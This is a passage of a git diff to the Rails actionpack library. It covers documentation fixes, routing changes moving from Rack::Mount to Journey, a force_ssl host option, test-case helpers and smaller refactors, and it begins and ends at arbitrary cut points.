"All", "limit" => "5" }</tt> in params. # # It's also possible to construct multi-dimensional parameter hashes by specifying keys using brackets, such as: # @@ -63,7 +63,7 @@ module ActionController # # == Sessions # - # Sessions allows you to store objects in between requests. This is useful for objects that are not yet ready to be persisted, + # Sessions allow you to store objects in between requests. This is useful for objects that are not yet ready to be persisted, # such as a Signup object constructed in a multi-paged process, or objects that don't change much and are needed all the time, such # as a User object for a system that requires login. The session should not be used, however, as a cache for objects where it's likely # they could be changed unknowingly. It's usually too much work to keep it all synchronized -- something databases already excel at. diff --git a/actionpack/lib/action_controller/caching/actions.rb b/actionpack/lib/action_controller/caching/actions.rb index 667ba15cc9..0031d2701f 100644 --- a/actionpack/lib/action_controller/caching/actions.rb +++ b/actionpack/lib/action_controller/caching/actions.rb @@ -38,7 +38,7 @@ module ActionController #:nodoc: # <tt>:action => 'lists'</tt> is not the same as # <tt>:action => 'list', :format => :xml</tt>. # - # You can set modify the default action cache path by passing a + # You can modify the default action cache path by passing a # <tt>:cache_path</tt> option. This will be passed directly to # <tt>ActionCachePath.path_for</tt>. This is handy for actions with # multiple possible routes that should be cached differently. If a diff --git a/actionpack/lib/action_controller/caching/pages.rb b/actionpack/lib/action_controller/caching/pages.rb index 496390402b..957bb7de6b 100644 --- a/actionpack/lib/action_controller/caching/pages.rb +++ b/actionpack/lib/action_controller/caching/pages.rb @@ -122,7 +122,7 @@ module ActionController #:nodoc: if options.is_a?(Hash) if options[:action].is_a?(Array) - options[:action].dup.each do |action| + options[:action].each do |action| self.class.expire_page(url_for(options.merge(:only_path => true, :action => action))) end else diff --git a/actionpack/lib/action_controller/caching/sweeping.rb b/actionpack/lib/action_controller/caching/sweeping.rb index 938a6ae81c..49cf70ec21 100644 --- a/actionpack/lib/action_controller/caching/sweeping.rb +++ b/actionpack/lib/action_controller/caching/sweeping.rb @@ -88,7 +88,7 @@ module ActionController #:nodoc: end def method_missing(method, *arguments, &block) - return if @controller.nil? + return unless @controller @controller.__send__(method, *arguments, &block) end end diff --git a/actionpack/lib/action_controller/metal/data_streaming.rb b/actionpack/lib/action_controller/metal/data_streaming.rb index 0785fe9679..5e077dd7bd 100644 --- a/actionpack/lib/action_controller/metal/data_streaming.rb +++ b/actionpack/lib/action_controller/metal/data_streaming.rb @@ -17,7 +17,7 @@ module ActionController #:nodoc: protected # Sends the file. This uses a server-appropriate method (such as X-Sendfile) # via the Rack::Sendfile middleware. The header to use is set via - # config.action_dispatch.x_sendfile_header, and defaults to "X-Sendfile". + # config.action_dispatch.x_sendfile_header. # Your server can also configure this for you by setting the X-Sendfile-Type header. # # Be careful to sanitize the path parameter if it is coming from a web diff --git a/actionpack/lib/action_controller/metal/force_ssl.rb b/actionpack/lib/action_controller/metal/force_ssl.rb index ed693c5967..0fd42f9d8a 100644 --- a/actionpack/lib/action_controller/metal/force_ssl.rb +++ b/actionpack/lib/action_controller/metal/force_ssl.rb @@ -24,12 +24,15 @@ module ActionController # * <tt>only</tt> - The callback should be run only for this action # * <tt>except<tt> - The callback should be run for all actions except this action def force_ssl(options = {}) + host = options.delete(:host) before_filter(options) do if !request.ssl? && !Rails.env.development? - redirect_to :protocol => 'https://', :status => :moved_permanently + redirect_options = {:protocol => 'https://', :status => :moved_permanently} + redirect_options.merge!(:host => host) if host + redirect_to redirect_options end end end end end -end
\ No newline at end of file +end diff --git a/actionpack/lib/action_controller/metal/helpers.rb b/actionpack/lib/action_controller/metal/helpers.rb index 2df0e9422c..bd515bba82 100644 --- a/actionpack/lib/action_controller/metal/helpers.rb +++ b/actionpack/lib/action_controller/metal/helpers.rb @@ -7,9 +7,12 @@ module ActionController # by default. # # In addition to using the standard template helpers provided, creating custom helpers to - # extract complicated logic or reusable functionality is strongly encouraged. By default, the controller will - # include a helper whose name matches that of the controller, e.g., <tt>MyController</tt> will automatically - # include <tt>MyHelper</tt>. + # extract complicated logic or reusable functionality is strongly encouraged. By default, each controller + # will include all helpers. + # + # In previous versions of \Rails the controller will include a helper whose + # name matches that of the controller, e.g., <tt>MyController</tt> will automatically + # include <tt>MyHelper</tt>. To return old behavior set +config.action_controller.include_all_helpers+ to +false+. # # Additional helpers can be specified using the +helper+ class method in ActionController::Base or any # controller which inherits from it. diff --git a/actionpack/lib/action_controller/metal/http_authentication.rb b/actionpack/lib/action_controller/metal/http_authentication.rb index 7420a5e7e9..264806cd36 100644 --- a/actionpack/lib/action_controller/metal/http_authentication.rb +++ b/actionpack/lib/action_controller/metal/http_authentication.rb @@ -145,7 +145,7 @@ module ActionController end def encode_credentials(user_name, password) - "Basic #{ActiveSupport::Base64.encode64("#{user_name}:#{password}")}" + "Basic #{ActiveSupport::Base64.encode64s("#{user_name}:#{password}")}" end def authentication_request(controller, realm) diff --git a/actionpack/lib/action_controller/metal/instrumentation.rb b/actionpack/lib/action_controller/metal/instrumentation.rb index 85d0f5f699..777a0ab343 100644 --- a/actionpack/lib/action_controller/metal/instrumentation.rb +++ b/actionpack/lib/action_controller/metal/instrumentation.rb @@ -58,8 +58,8 @@ module ActionController def redirect_to(*args) ActiveSupport::Notifications.instrument("redirect_to.action_controller") do |payload| result = super - payload[:status] = self.status - payload[:location] = self.location + payload[:status] = response.status + payload[:location] = response.location result end end @@ -97,4 +97,4 @@ module ActionController end end end -end
\ No newline at end of file +end diff --git a/actionpack/lib/action_controller/metal/mime_responds.rb b/actionpack/lib/action_controller/metal/mime_responds.rb index f10287afb4..00bd1706e7 100644 --- a/actionpack/lib/action_controller/metal/mime_responds.rb +++ b/actionpack/lib/action_controller/metal/mime_responds.rb @@ -42,8 +42,8 @@ module ActionController #:nodoc: def respond_to(*mimes) options = mimes.extract_options! - only_actions = Array(options.delete(:only)) - except_actions = Array(options.delete(:except)) + only_actions = Array(options.delete(:only)).map(&:to_s) + except_actions = Array(options.delete(:except)).map(&:to_s) new = mimes_for_respond_to.dup mimes.each do |mime| @@ -245,7 +245,7 @@ module ActionController #:nodoc: # current action. # def collect_mimes_from_class_level #:nodoc: - action = action_name.to_sym + action = action_name.to_s self.class.mimes_for_respond_to.keys.select do |mime| config = self.class.mimes_for_respond_to[mime] diff --git a/actionpack/lib/action_controller/metal/params_wrapper.rb b/actionpack/lib/action_controller/metal/params_wrapper.rb index 2d8afc3a78..e0d8e1c992 100644 --- a/actionpack/lib/action_controller/metal/params_wrapper.rb +++ b/actionpack/lib/action_controller/metal/params_wrapper.rb @@ -6,31 +6,30 @@ require 'active_support/core_ext/module/anonymous' require 'action_dispatch/http/mime_types' module ActionController - # Wraps parameters hash into nested hash. This will allow client to submit - # POST request without having to specify a root element in it. + # Wraps the parameters hash into a nested hash. This will allow clients to submit + # POST requests without having to specify any root elements. # - # By default this functionality won't be enabled. You can enable - # it globally by setting +ActionController::Base.wrap_parameters+: - # - # ActionController::Base.wrap_parameters = [:json] + # This functionality is enabled in +config/initializers/wrap_parameters.rb+ + # and can be customized. If you are upgrading to \Rails 3.1, this file will + # need to be created for the functionality to be enabled. # # You could also turn it on per controller by setting the format array to - # non-empty array: + # a non-empty array: # # class UsersController < ApplicationController # wrap_parameters :format => [:json, :xml] # end # - # If you enable +ParamsWrapper+ for +:json+ format. Instead of having to + # If you enable +ParamsWrapper+ for +:json+ format, instead of having to # send JSON parameters like this: # # {"user": {"name": "Konata"}} # - # You can now just send a parameters like this: + # You can send parameters like this: # # {"name": "Konata"} # - # And it will be wrapped into a nested hash with the key name matching + # And it will be wrapped into a nested hash with the key name matching the # controller's name. For example, if you're posting to +UsersController+, # your new +params+ hash will look like this: # @@ -82,7 +81,7 @@ module ActionController # # ==== Examples # wrap_parameters :format => :xml - # # enables the parmeter wrapper for XML format + # # enables the parameter wrapper for XML format # # wrap_parameters :person # # wraps parameters into +params[:person]+ hash @@ -142,19 +141,16 @@ module ActionController # try to find Foo::Bar::User, Foo::User and finally User. def _default_wrap_model #:nodoc: return nil if self.anonymous? - model_name = self.name.sub(/Controller$/, '').singularize begin - model_klass = model_name.constantize - rescue NameError, ArgumentError => e - if e.message =~ /is not missing constant|uninitialized constant #{model_name}/ + if model_klass = model_name.safe_constantize + model_klass + else namespaces = model_name.split("::") namespaces.delete_at(-2) break if namespaces.last == model_name model_name = namespaces.join("::") - else - raise end end until model_klass diff --git a/actionpack/lib/action_controller/metal/redirecting.rb b/actionpack/lib/action_controller/metal/redirecting.rb index dee7eb1ec8..f2dfb3833b 100644 --- a/actionpack/lib/action_controller/metal/redirecting.rb +++ b/actionpack/lib/action_controller/metal/redirecting.rb @@ -45,7 +45,7 @@ module ActionController # integer, or a symbol representing the downcased, underscored and symbolized description. # Note that the status code must be a 3xx HTTP code, or redirection will not occur. # - # It is also possible to assign a flash message as part of the redirection. There are two special accessors for commonly used the flash names + # It is also possible to assign a flash message as part of the redirection. There are two special accessors for the commonly used flash names # +alert+ and +notice+ as well as a general purpose +flash+ bucket. # # Examples: @@ -57,7 +57,7 @@ module ActionController # When using <tt>redirect_to :back</tt>, if there is no referrer, RedirectBackError will be raised. You may specify some fallback # behavior for this case by rescuing RedirectBackError. def redirect_to(options = {}, response_status = {}) #:doc: - raise ActionControllerError.new("Cannot redirect to nil!") if options.nil? + raise ActionControllerError.new("Cannot redirect to nil!") unless options raise AbstractController::DoubleRenderError if response_body self.status = _extract_redirect_to_status(options, response_status) diff --git a/actionpack/lib/action_controller/metal/request_forgery_protection.rb b/actionpack/lib/action_controller/metal/request_forgery_protection.rb index 258a40aea6..bc22e39efb 100644 --- a/actionpack/lib/action_controller/metal/request_forgery_protection.rb +++ b/actionpack/lib/action_controller/metal/request_forgery_protection.rb @@ -74,12 +74,12 @@ module ActionController #:nodoc: # The actual before_filter that is used. Modify this to change how you handle unverified requests. def verify_authenticity_token unless verified_request? - logger.debug "WARNING: Can't verify CSRF token authenticity" if logger + logger.warn "WARNING: Can't verify CSRF token authenticity" if logger handle_unverified_request end end - # This is the method that defines the application behaviour when a request is found to be unverified. + # This is the method that defines the application behavior when a request is found to be unverified. # By default, \Rails resets the session when it finds an unverified request. def handle_unverified_request reset_session diff --git a/actionpack/lib/action_controller/metal/responder.rb b/actionpack/lib/action_controller/metal/responder.rb index 3794e277f6..c7827309dd 100644 --- a/actionpack/lib/action_controller/metal/responder.rb +++ b/actionpack/lib/action_controller/metal/responder.rb @@ -253,7 +253,7 @@ module ActionController #:nodoc: end def display_errors - controller.render format => resource.errors, :status => :unprocessable_entity + controller.render format => resource_errors, :status => :unprocessable_entity end # Check whether the resource has errors. @@ -286,5 +286,13 @@ module ActionController #:nodoc: def empty_json_resource "{}" end + + def resource_errors + respond_to?("#{format}_resource_errors") ? send("#{format}_resource_errors") : resource.errors + end + + def json_resource_errors + {:errors => resource.errors} + end end end diff --git a/actionpack/lib/action_controller/metal/testing.rb b/actionpack/lib/action_controller/metal/testing.rb index f4efeb33ba..d1813ee745 100644 --- a/actionpack/lib/action_controller/metal/testing.rb +++ b/actionpack/lib/action_controller/metal/testing.rb @@ -4,6 +4,11 @@ module ActionController include RackDelegation + def recycle! + @_url_options = nil + end + + # TODO: Clean this up def process_with_new_base_test(request, response) @_request = request diff --git a/actionpack/lib/action_controller/metal/url_for.rb b/actionpack/lib/action_controller/metal/url_for.rb index 08132b1900..0b40b1fc4c 100644 --- a/actionpack/lib/action_controller/metal/url_for.rb +++ b/actionpack/lib/action_controller/metal/url_for.rb @@ -18,7 +18,7 @@ # @url = root_path # named route from the application. # end # end -# => +# module ActionController module UrlFor extend ActiveSupport::Concern diff --git a/actionpack/lib/action_controller/record_identifier.rb b/actionpack/lib/action_controller/record_identifier.rb index c11d676c5e..2036442cfe 100644 --- a/actionpack/lib/action_controller/record_identifier.rb +++ b/actionpack/lib/action_controller/record_identifier.rb @@ -67,7 +67,7 @@ module ActionController # This can be overwritten to customize the default generated string representation if desired. # If you need to read back a key from a dom_id in order to query for the underlying database record, # you should write a helper like 'person_record_from_dom_id' that will extract the key either based - # on the default implementation (which just joins all key attributes with '-') or on your own + # on the default implementation (which just joins all key attributes with '_') or on your own # overwritten version of the method. By default, this implementation passes the key string through a # method that replaces all characters that are invalid inside DOM ids, with valid ones. You need to # make sure yourself that your dom ids are valid, in case you overwrite this method. diff --git a/actionpack/lib/action_controller/test_case.rb b/actionpack/lib/action_controller/test_case.rb index 45bb641aee..6913c1ef4a 100644 --- a/actionpack/lib/action_controller/test_case.rb +++ b/actionpack/lib/action_controller/test_case.rb @@ -79,10 +79,10 @@ module ActionController "expecting <?> but rendering with <?>", options, rendered.keys.join(', ')) assert_block(msg) do - if options.nil? - @templates.blank? - else + if options rendered.any? { |t,num| t.match(options) } + else + @templates.blank? end end when Hash @@ -180,7 +180,7 @@ module ActionController @env.delete_if { |k, v| k =~ /^action_dispatch\.rescue/ } @symbolized_path_params = nil @method = @request_method = nil - @fullpath = @ip = @remote_ip = nil + @fullpath = @ip = @remote_ip = @protocol = nil @env['action_dispatch.request.query_parameters'] = {} @set_cookies ||= {} @set_cookies.update(Hash[cookie_jar.instance_variable_get("@set_cookies").map{ |k,o| [k,o[:value]] }]) @@ -333,9 +333,21 @@ module ActionController module ClassMethods # Sets the controller class name. Useful if the name can't be inferred from test class. - # Expects +controller_class+ as a constant. Example: <tt>tests WidgetController</tt>. + # Normalizes +controller_class+ before using. Examples: + # + # tests WidgetController + # tests :widget + # tests 'widget' + # def tests(controller_class) - self.controller_class = controller_class + case controller_class + when String, Symbol + self.controller_class = "#{controller_class.to_s.underscore}_controller".camelize.constantize + when Class + self.controller_class = controller_class + else + raise ArgumentError, "controller class must be a String, Symbol, or Class" + end end def controller_class=(new_class) @@ -352,9 +364,7 @@ module ActionController end def determine_default_controller_class(name) - name.sub(/Test$/, '').constantize - rescue NameError - nil + name.sub(/Test$/, '').safe_constantize end def prepare_controller_class(new_class) @@ -401,9 +411,7 @@ module ActionController def paramify_values(hash_or_array_or_value) case hash_or_array_or_value when Hash - hash_or_array_or_value.each do |key, value| - hash_or_array_or_value[key] = paramify_values(value) - end + Hash[hash_or_array_or_value.map{|key, value| [key, paramify_values(value)] }] when Array hash_or_array_or_value.map {|i| paramify_values(i)} when Rack::Test::UploadedFile @@ -416,7 +424,7 @@ module ActionController def process(action, parameters = nil, session = nil, flash = nil, http_method = 'GET') # Ensure that numbers and symbols passed as params are converted to # proper params, as is the case when engaging rack. - paramify_values(parameters) + parameters = paramify_values(parameters) # Sanity check for required instance variables so we can give an # understandable error message. @@ -450,6 +458,7 @@ module ActionController @controller.params.merge!(parameters) build_request_uri(action, parameters) @controller.class.class_eval { include Testing } + @controller.recycle! @controller.process_with_new_base_test(@request, @response) @assigns = @controller.respond_to?(:view_assigns) ? @controller.view_assigns : {} @request.session.delete('flash') if @request.session['flash'].blank? diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb b/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb index 22b3243104..4e1f016431 100644 --- a/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb +++ b/actionpack/lib/action_controller/vendor/html-scanner/html/node.rb @@ -156,7 +156,7 @@ module HTML #:nodoc: end closing = ( scanner.scan(/\//) ? :close : nil ) - return Text.new(parent, line, pos, content) unless name = scanner.scan(/[\w:-]+/) + return Text.new(parent, line, pos, content) unless name = scanner.scan(/[^\s!>\/]+/) name.downcase! unless closing diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb b/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb index eaefdc0f15..af06bffa16 100644 --- a/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb +++ b/actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb @@ -1,4 +1,5 @@ require 'set' +require 'cgi' require 'active_support/core_ext/class/attribute' module HTML diff --git a/actionpack/lib/action_dispatch/http/mime_type.rb b/actionpack/lib/action_dispatch/http/mime_type.rb index fa2948c8db..8a9f9c4315 100644 --- a/actionpack/lib/action_dispatch/http/mime_type.rb +++ b/actionpack/lib/action_dispatch/http/mime_type.rb @@ -256,6 +256,10 @@ module Mime @@html_types.include?(to_sym) || @string =~ /html/ end + def respond_to?(method, include_private = false) #:nodoc: + super || method.to_s =~ /(\w+)\?$/ + end + private def method_missing(method, *args) if method.to_s =~ /(\w+)\?$/ diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb index b80574f497..37d0a3e0b8 100644 --- a/actionpack/lib/action_dispatch/http/request.rb +++ b/actionpack/lib/action_dispatch/http/request.rb @@ -29,9 +29,9 @@ module ActionDispatch ENV_METHODS.each do |env| class_eval <<-METHOD, __FILE__, __LINE__ + 1 - def #{env.sub(/^HTTP_/n, '').downcase} - @env["#{env}"] - end + def #{env.sub(/^HTTP_/n, '').downcase} # def accept_charset + @env["#{env}"] # @env["HTTP_ACCEPT_CHARSET"] + end # end METHOD end diff --git a/actionpack/lib/action_dispatch/http/upload.rb b/actionpack/lib/action_dispatch/http/upload.rb index a15ad28f16..94fa747a79 100644 --- a/actionpack/lib/action_dispatch/http/upload.rb +++ b/actionpack/lib/action_dispatch/http/upload.rb @@ -11,24 +11,13 @@ module ActionDispatch raise(ArgumentError, ':tempfile is required') unless @tempfile end - def open - @tempfile.open - end - - def path - @tempfile.path - end - def read(*args) @tempfile.read(*args) end - def rewind - @tempfile.rewind - end - - def size - @tempfile.size + # Delegate these methods to the tempfile. + [:open, :path, :rewind, :size].each do |method| + class_eval "def #{method}; @tempfile.#{method}; end" end private diff --git a/actionpack/lib/action_dispatch/http/url.rb b/actionpack/lib/action_dispatch/http/url.rb index 8487b0fc8c..170c68f3e0 100644 --- a/actionpack/lib/action_dispatch/http/url.rb +++ b/actionpack/lib/action_dispatch/http/url.rb @@ -45,7 +45,7 @@ module ActionDispatch rewritten_url << (options[:trailing_slash] ? path.sub(/\?|\z/) { "/" + $& } : path) rewritten_url << "?#{params.to_query}" unless params.empty? - rewritten_url << "##{Rack::Mount::Utils.escape_uri(options[:anchor].to_param.to_s)}" if options[:anchor] + rewritten_url << "##{Journey::Router::Utils.escape_uri(options[:anchor].to_param.to_s)}" if options[:anchor] rewritten_url end @@ -64,14 +64,16 @@ module ActionDispatch end def host_or_subdomain_and_domain(options) - return options[:host] unless options[:subdomain] || options[:domain] + return options[:host] if options[:subdomain].nil? && options[:domain].nil? tld_length = options[:tld_length] || @@tld_length host = "" - host << (options[:subdomain] || extract_subdomain(options[:host], tld_length)) - host << "." - host << (options[:domain] || extract_domain(options[:host], tld_length)) + unless options[:subdomain] == false + host << (options[:subdomain] || extract_subdomain(options[:host], tld_length)) + host << "." + end + host << (options[:domain] || extract_domain(options[:host], tld_length)) host end end diff --git a/actionpack/lib/action_dispatch/middleware/cookies.rb b/actionpack/lib/action_dispatch/middleware/cookies.rb index 1c312f2587..8c4615c0c1 100644 --- a/actionpack/lib/action_dispatch/middleware/cookies.rb +++ b/actionpack/lib/action_dispatch/middleware/cookies.rb @@ -85,6 +85,7 @@ module ActionDispatch class CookieOverflow < StandardError; end class CookieJar #:nodoc: + include Enumerable # This regular expression is used to split the levels of a domain. # The top level domain can be any string without a period or @@ -124,6 +125,10 @@ module ActionDispatch alias :closed? :closed def close!; @closed = true end + def each(&block) + @cookies.each(&block) + end + # Returns the value of the cookie by +name+, or +nil+ if no such cookie exists. def [](name) @cookies[name.to_s] diff --git a/actionpack/lib/action_dispatch/middleware/flash.rb b/actionpack/lib/action_dispatch/middleware/flash.rb index 2adbce031b..e59404ef68 100644 --- a/actionpack/lib/action_dispatch/middleware/flash.rb +++ b/actionpack/lib/action_dispatch/middleware/flash.rb @@ -70,6 +70,10 @@ module ActionDispatch end end + # Implementation detail: please do not change the signature of the + # FlashHash class. Doing that will likely affect all Rails apps in + # production as the FlashHash currently stored in their sessions will + # become invalid. class FlashHash include Enumerable diff --git a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb index a70d814749..6bcf099d2c 100644 --- a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb +++ b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb @@ -59,7 +59,10 @@ module ActionDispatch # Note that the regexp does not allow $1 to end with a ':' $1.constantize rescue LoadError, NameError => const_error - raise ActionDispatch::Session::SessionRestoreError, "Session contains objects whose class definition isn't available.\nRemember to require the classes for all objects kept in the session.\n(Original exception: #{const_error.message} [#{const_error.class}])\n" + raise ActionDispatch::Session::SessionRestoreError, + "Session contains objects whose class definition isn't available.\n" + + "Remember to require the classes for all objects kept in the session.\n" + + "(Original exception: #{const_error.message} [#{const_error.class}])\n" end retry else diff --git a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb index a765c23dae..2fa68c64c5 100644 --- a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb +++ b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb @@ -86,8 +86,8 @@ module ActionDispatch :framework_trace => framework_trace(exception), :full_trace => full_trace(exception) ) - file = "rescues/#{@@rescue_templates[exception.class.name]}.erb" - body = template.render(:file => file, :layout => 'rescues/layout.erb') + file = "rescues/#{@@rescue_templates[exception.class.name]}" + body = template.render(:template => file, :layout => 'rescues/layout') render(status_code(exception), body) end diff --git a/actionpack/lib/action_dispatch/railtie.rb b/actionpack/lib/action_dispatch/railtie.rb index f51cc3711b..1af89858d1 100644 --- a/actionpack/lib/action_dispatch/railtie.rb +++ b/actionpack/lib/action_dispatch/railtie.rb @@ -1,10 +1,9 @@ require "action_dispatch" -require "rails" module ActionDispatch class Railtie < Rails::Railtie config.action_dispatch = ActiveSupport::OrderedOptions.new - config.action_dispatch.x_sendfile_header = "" + config.action_dispatch.x_sendfile_header = nil config.action_dispatch.ip_spoofing_check = true config.action_dispatch.show_exceptions = true config.action_dispatch.best_standards_support = true diff --git a/actionpack/lib/action_dispatch/routing/mapper.rb b/actionpack/lib/action_dispatch/routing/mapper.rb index 8d071b2061..ef31d1e004 100644 --- a/actionpack/lib/action_dispatch/routing/mapper.rb +++ b/actionpack/lib/action_dispatch/routing/mapper.rb @@ -1,4 +1,3 @@ -require 'erb' require 'active_support/core_ext/hash/except' require 'active_support/core_ext/object/blank' require 'active_support/core_ext/object/inclusion' @@ -50,8 +49,8 @@ module ActionDispatch class Mapping #:nodoc: IGNORE_OPTIONS = [:to, :as, :via, :on, :constraints, :defaults, :only, :except, :anchor, :shallow, :shallow_path, :shallow_prefix] ANCHOR_CHARACTERS_REGEX = %r{\A(\\A|\^)|(\\Z|\\z|\$)\Z} - SHORTHAND_REGEX = %r{^/[\w/]+$} - WILDCARD_PATH = %r{\*([^/]+)$} + SHORTHAND_REGEX = %r{/[\w/]+$} + WILDCARD_PATH = %r{\*([^/\)]+)\)?$} def initialize(set, scope, path, options) @set, @scope = set, scope @@ -71,7 +70,7 @@ module ActionDispatch if using_match_shorthand?(path_without_format, @options) to_shorthand = @options[:to].blank? - @options[:to] ||= path_without_format[1..-1].sub(%r{/([^/]*)$}, '#\1') + @options[:to] ||= path_without_format.gsub(/\(.*\)/, "")[1..-1].sub(%r{/([^/]*)$}, '#\1') end @options.merge!(default_controller_and_action(to_shorthand)) @@ -91,7 +90,7 @@ module ActionDispatch # match "account/overview" def using_match_shorthand?(path, options) - path && options.except(:via, :anchor, :to, :as).empty? && path =~ SHORTHAND_REGEX + path && (options[:to] || options[:action]).nil? && path =~ SHORTHAND_REGEX end def normalize_path(path) @@ -105,13 +104,13 @@ module ActionDispatch # controllers with default routes like :controller/:action/:id(.:format), e.g: # GET /admin/products/show/1 # => { :controller => 'admin/products', :action => 'show', :id => '1' } - @options.reverse_merge!(:controller => /.+?/) + @options[:controller] ||= /.+?/ end # Add a constraint for wildcard route to make it non-greedy and match the # optional format part of the route by default if path.match(WILDCARD_PATH) && @options[:format] != false - @options.reverse_merge!(:"#{$1}" => /.+?/) + @options[$1.to_sym] ||= /.+?/ end if @options[:format] == false @@ -119,6 +118,8 @@ module ActionDispatch path elsif path.include?(":format") || path.end_with?('/') path + elsif @options[:format] == true + "#{path}.:format" else "#{path}(.:format)" end @@ -190,13 +191,12 @@ module ActionDispatch end def blocks - block = @scope[:blocks] || [] - - if @options[:constraints].present? && !@options[:constraints].is_a?(Hash) - block << @options[:constraints] + constraints = @options[:constraints] + if constraints.present? && !constraints.is_a?(Hash) + [constraints] + else + @scope[:blocks] || [] end - - block end def constraints @@ -213,8 +213,8 @@ module ActionDispatch end def segment_keys - @segment_keys ||= Rack::Mount::RegexpWithNamedGroups.new( - Rack::Mount::Strexp.compile(@path, requirements, SEPARATORS) + @segment_keys ||= Journey::Path::Pattern.new( + Journey::Router::Strexp.compile(@path, requirements, SEPARATORS) ).names end @@ -223,19 +223,11 @@ module ActionDispatch end def default_controller - if @options[:controller] - @options[:controller] - elsif @scope[:controller] - @scope[:controller] - end + @options[:controller] || @scope[:controller] end def default_action - if @options[:action] - @options[:action] - elsif @scope[:action] - @scope[:action] - end + @options[:action] || @scope[:action] end end @@ -243,7 +235,7 @@ module ActionDispatch # (:locale) becomes (/:locale) instead of /(:locale). Except # for root cases, where the latter is the correct one. def self.normalize_path(path) - path = Rack::Mount::Utils.normalize_path(path) + path = Journey::Router::Utils.normalize_path(path) path.gsub!(%r{/(\(+)/?}, '\1/') unless path =~ %r{^/\(+[^/]+\)$} path end @@ -263,7 +255,7 @@ module ActionDispatch # because this means it will be matched first. As this is the most popular route # of most Rails applications, this is beneficial. def root(options = {}) - match '/', options.reverse_merge(:as => :root) + match '/', { :as => :root }.merge(options) end # Matches a url pattern to one or more routes. Any symbols in a pattern @@ -460,7 +452,9 @@ module ActionDispatch prefix_options = options.slice(*_route.segment_keys) # we must actually delete prefix segment keys to avoid passing them to next url_for _route.segment_keys.each { |k| options.delete(k) } - _routes.url_helpers.send("#{name}_path", prefix_options) + prefix = _routes.url_helpers.send("#{name}_path", prefix_options) + prefix = '' if prefix == '/' + prefix end end end @@ -879,9 +873,9 @@ module ActionDispatch def initialize(entities, options = {}) @name = entities.to_s - @path = (options.delete(:path) || @name).to_s - @controller = (options.delete(:controller) || @name).to_s - @as = options.delete(:as) + @path = (options[:path] || @name).to_s + @controller = (options[:controller] || @name).to_s + @as = options[:as] @options = options end @@ -943,12 +937,11 @@ module ActionDispatch DEFAULT_ACTIONS = [:show, :create, :update, :destroy, :new, :edit] def initialize(entities, options) + super + @as = nil - @name = entities.to_s - @path = (options.delete(:path) || @name).to_s - @controller = (options.delete(:controller) || plural).to_s - @as = options.delete(:as) - @options = options + @controller = (options[:controller] || plural).to_s + @as = options[:as] end def plural @@ -1045,12 +1038,12 @@ module ActionDispatch # # This generates the following comments routes: # - # GET /photos/:id/comments/new - # POST /photos/:id/comments - # GET /photos/:id/comments/:id - # GET /photos/:id/comments/:id/edit - # PUT /photos/:id/comments/:id - # DELETE /photos/:id/comments/:id + # GET /photos/:photo_id/comments/new + # POST /photos/:photo_id/comments + # GET /photos/:photo_id/comments/:id + # GET /photos/:photo_id/comments/:id/edit + # PUT /photos/:photo_id/comments/:id + # DELETE /photos/:photo_id/comments/:id # # === Options # Takes same options as <tt>Base#match</tt> as well as: @@ -1445,7 +1438,7 @@ module ActionDispatch name_prefix = @scope[:as] if parent_resource - return nil if as.nil? && action.nil? + return nil unless as || action collection_name = parent_resource.collection_name member_name = parent_resource.member_name @@ -1472,9 +1465,9 @@ module ActionDispatch end module Shorthand #:nodoc: - def match(*args) - if args.size == 1 && args.last.is_a?(Hash) - options = args.pop + def match(path, *rest) + if rest.empty? && Hash === path + options = path path, to = options.find { |name, value| name.is_a?(String) } options.merge!(:to => to).delete(path) super(path, options) diff --git a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb index 49aef0bf72..e989a38d8b 100644 --- a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb +++ b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb @@ -124,14 +124,7 @@ module ActionDispatch args.last.kind_of?(Hash) ? args.last.merge!(url_options) : args << url_options end - if proxy - proxy.send(named_route, *args) - else - # we need to use url_for, because polymorphic_url can be used in context of other than - # current routes (e.g. engine's routes). As named routes from engine are not included - # calling engine's named route directly would fail. - url_for _routes.url_helpers.__send__("hash_for_#{named_route}", *args) - end + (proxy || self).send(named_route, *args) end # Returns the path component of a URL for the given record. It uses diff --git a/actionpack/lib/action_dispatch/routing/route.rb b/actionpack/lib/action_dispatch/routing/route.rb deleted file mode 100644 index 10b3d38346..0000000000 --- a/actionpack/lib/action_dispatch/routing/route.rb +++ /dev/null @@ -1,60 +0,0 @@ -module ActionDispatch - module Routing - class Route #:nodoc: - attr_reader :app, :conditions, :defaults, :name - attr_reader :path, :requirements, :set - - def initialize(set, app, conditions, requirements, defaults, name, anchor) - @set = set - @app = app - @defaults = defaults - @name = name - - # FIXME: we should not be doing this much work in a constructor. - - @requirements = requirements.merge(defaults) - @requirements.delete(:controller) if @requirements[:controller].is_a?(Regexp) - @requirements.delete_if { |k, v| - v == Regexp.compile("[^#{SEPARATORS.join}]+") - } - - if path = conditions[:path_info] - @path = path - conditions[:path_info] = ::Rack::Mount::Strexp.compile(path, requirements, SEPARATORS, anchor) - end - - @verbs = conditions[:request_method] || [] - - @conditions = conditions.dup - - # Rack-Mount requires that :request_method be a regular expression. - # :request_method represents the HTTP verb that matches this route. - # - # Here we munge values before they get sent on to rack-mount. - @conditions[:request_method] = %r[^#{verb}$] unless @verbs.empty? - @conditions[:path_info] = Rack::Mount::RegexpWithNamedGroups.new(@conditions[:path_info]) if @conditions[:path_info] - @conditions.delete_if{ |k,v| k != :path_info && !valid_condition?(k) } - @requirements.delete_if{ |k,v| !valid_condition?(k) } - end - - def verb - 